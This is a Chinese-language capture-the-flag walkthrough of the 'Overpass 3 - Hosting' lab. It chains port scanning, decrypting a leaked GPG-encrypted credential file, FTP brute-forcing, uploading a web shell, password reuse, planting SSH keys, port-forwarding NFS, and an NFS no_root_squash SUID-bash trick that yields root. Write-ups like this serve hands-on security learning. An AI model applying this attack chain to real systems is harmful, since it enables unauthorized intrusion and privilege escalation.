Skip to main content

Overpass 3 - Hosting

端口扫描

root@ip-10-10-152-123:~/overpass3hosting# nmap -sTCV -p 21,22,80 --min-rate 1000 10.10.253.225

Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-13 07:45 BST
Nmap scan report for ip-10-10-253-225.eu-west-1.compute.internal (10.10.253.225)
Host is up (0.00018s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA)
| 256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA)
|_ 256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (EdDSA)
80/tcp open http Apache httpd 2.4.37 ((centos))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: Overpass Hosting
MAC Address: 02:F1:C4:7C:A2:29 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

80

进行目录扫描我发现了一个 zip 文件, 并进行了查看

20240703214823

20240703214830

我将其解压并发现其中存在两个文件, 其中一个加密文件以及一个密钥

root@ip-10-10-152-123:~/overpass3hosting# unzip backup.zip 
Archive: backup.zip
extracting: CustomerDetails.xlsx.gpg
inflating: priv.key
root@ip-10-10-152-123:~/overpass3hosting# gpg --import priv.key
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key C9AE71AB3180BC08: public key "Paradox <[email protected]>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
root@ip-10-10-152-123:~/overpass3hosting# gpg --list-keys
/root/.gnupg/pubring.kbx
------------------------
pub rsa2048 2020-11-08 [SC] [expired: 2022-11-08]
49829BBEB100BB2692F33CD2C9AE71AB3180BC08
uid [ expired] Paradox <[email protected]>

root@ip-10-10-152-123:~/overpass3hosting# gpg --decrypt --output CustomerDetails.xlsx CustomerDetails.xlsx.gpg
gpg: Note: secret key 9E86A1C63FB96335 expired at Tue 08 Nov 2022 21:14:31 GMT
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
"Paradox <[email protected]>"
root@ip-10-10-152-123:~/overpass3hosting# ls
backup.zip CustomerDetails.xlsx CustomerDetails.xlsx.gpg priv.key

解密之后得到一个 xlsx 文档, 所以我进行了查看, 并发现了三个账号密码

20240703214851

基于此我进行了 SSH 和 FTP 的密码暴力破解, 发现其中可以使用其进行 FTP 登陆

20240703214901

21 - FTP

登陆之后我发现这其实就是网站目录并且我们有共享文件, 所以我上传了 Shell

20240703214954

后渗透

apache

访问我们上传的 Shell 获取到一个会话

20240703215105

apache —> paradox

在上面得到的 Shell 中我发现存在一个用户名叫 paradox 所以我尝试密码重用

20240703215131

在登陆之后, 我访问用户 paradox 家目录发现其存在 .ssh 所以我先其中写入我的公钥然后进行 SSH 登陆

20240703215145

20240703215151

paradox —> james

在登陆之后, 查看端口占用情况发现占用了 2049 端口, 说明启动了 NFS 服务

20240703215207

20240703215213 接着查看 NFS 的配置文件发现其存在配置问题

20240703215226

所以我开始进行端口转发, 来完成对于靶场的 NFS 访问

root@ip-10-10-152-123:~/overpass3hosting# ssh -L 2049:127.0.0.1:2049 [email protected]
Last login: Wed Sep 13 09:08:39 2023 from 10.10.152.123
[paradox@ip-10-10-166-230 ~]$

------------------------------------------------------------------------------

root@ip-10-10-152-123:~/overpass3hosting# nmap -sT -p 2049 127.0.0.1

Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-13 09:13 BST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000089s latency).

PORT STATE SERVICE
2049/tcp open nfs

挂载 NFS 到本地进行查看

20240703215240

从这里我们可以看到共享的是 James 用户家目录, 同时结合 NFS 的配置权限失误,我们的攻击目标应该是

  1. 写入 SSH 公钥获取 james 用户 Shell
  2. 拷贝 bash 到 james 用户家目录下并赋予特权

所以我写入了 SSH 公钥并获取到了 jame 的 Shell

20240703215250

james —> root

现在拷贝 bash 到用户的家目录

[james@ip-10-10-166-230 ~]$ cp /bin/bash .
[james@ip-10-10-166-230 ~]$ ls -al
total 1208
drwx------. 3 james james 124 Sep 13 09:18 .
drwxr-xr-x. 4 root root 34 Nov 8 2020 ..
-rwxr-xr-x 1 james james 1219248 Sep 13 09:18 bash

在 NFS 会话中修改 bash 的所有者以及权限

root@ip-10-10-152-123:~/overpass3hosting/james# chown root bash
root@ip-10-10-152-123:~/overpass3hosting/james# chmod u+s bash

这时候我们的 james 用户家目录的 bash 就会变成一个 SUID 程序

[james@ip-10-10-166-230 ~]$ ls -al
total 1208
drwx------. 3 james james 124 Sep 13 09:18 .
drwxr-xr-x. 4 root root 34 Nov 8 2020 ..
-rwsr-xr-x 1 root james 1219248 Sep 13 09:18 bash
[james@ip-10-10-166-230 ~]$ ./bash -p
bash-4.4# id
uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james)

扩展

SSH 问题

当我们获取到密码连接 paradox 的 SSH 时, 这时候我们发现我们并不能连接成功

20240703215320

从报错结果来看对于 paradox 用户只允许使用 SSH 密钥连接